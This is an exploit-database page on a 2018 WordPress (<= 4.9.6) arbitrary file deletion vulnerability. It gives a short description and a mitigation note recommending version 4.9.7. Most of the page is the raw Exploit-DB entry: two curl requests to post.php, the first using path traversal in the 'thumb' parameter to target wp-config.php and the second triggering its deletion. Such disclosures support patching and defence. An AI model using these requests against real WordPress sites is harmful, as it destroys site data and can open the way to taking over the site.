Wordpress - exploit.company

vendor:

WordPress

by:

VulnSpy

7.5

CVSS

HIGH

Arbitrary File Deletion

264

CWE

Product Name: WordPress

Affected Version From: <= 4.9.6

Affected Version To: <= 4.9.6

Patch Exists: YES

Related CWE: N/A

CPE: a:wordpress:wordpress

Metasploit: N/A

Other Scripts: N/A

Platforms Tested: php7, mysql5

2018

WordPress <= 4.9.6 Arbitrary File Deletion Vulnerability

This vulnerability allows an attacker to delete arbitrary files on a vulnerable WordPress installation. This can be done by sending a specially crafted HTTP request to the WordPress post.php page. The request must contain the action parameter set to editattachment and the _wpnonce parameter set to a valid nonce. The thumb parameter must be set to the path of the file to be deleted. After the request is sent, a second request must be sent to the same page with the action parameter set to delete and the _wpnonce parameter set to the same nonce used in the first request.

Mitigation:

WordPress users should update to the latest version of WordPress (4.9.7) to mitigate this vulnerability.

Source

Exploit-DB raw data:

# Exploit Title: Wordpress <= 4.9.6 Arbitrary File Deletion Vulnerability
# Date: 2018-06-27
# Exploit Author: VulnSpy
# Vendor Homepage: http://www.wordpress.org
# Software Link: http://www.wordpress.org/download
# Version: <= 4.9.6
# Tested on: php7 mysql5
# CVE :

Step 1:

```
curl -v 'http://localhost/wp-admin/post.php?post=4' -H 'Cookie: ***' -d 'action=editattachment&_wpnonce=***&thumb=../../../../wp-config.php'
```

Step 2:

```
curl -v 'http://localhost/wp-admin/post.php?post=4' -H 'Cookie: ***' -d 'action=delete&_wpnonce=***'
```

REF:
  Wordpress <= 4.9.6 Arbitrary File Deletion Vulnerability Exploit - http://blog.vulnspy.com/2018/06/27/Wordpress-4-9-6-Arbitrary-File-Delection-Vulnerbility-Exploit/
  WARNING: WordPress File Delete to Code Execution - https://blog.ripstech.com/2018/wordpress-file-delete-to-code-execution/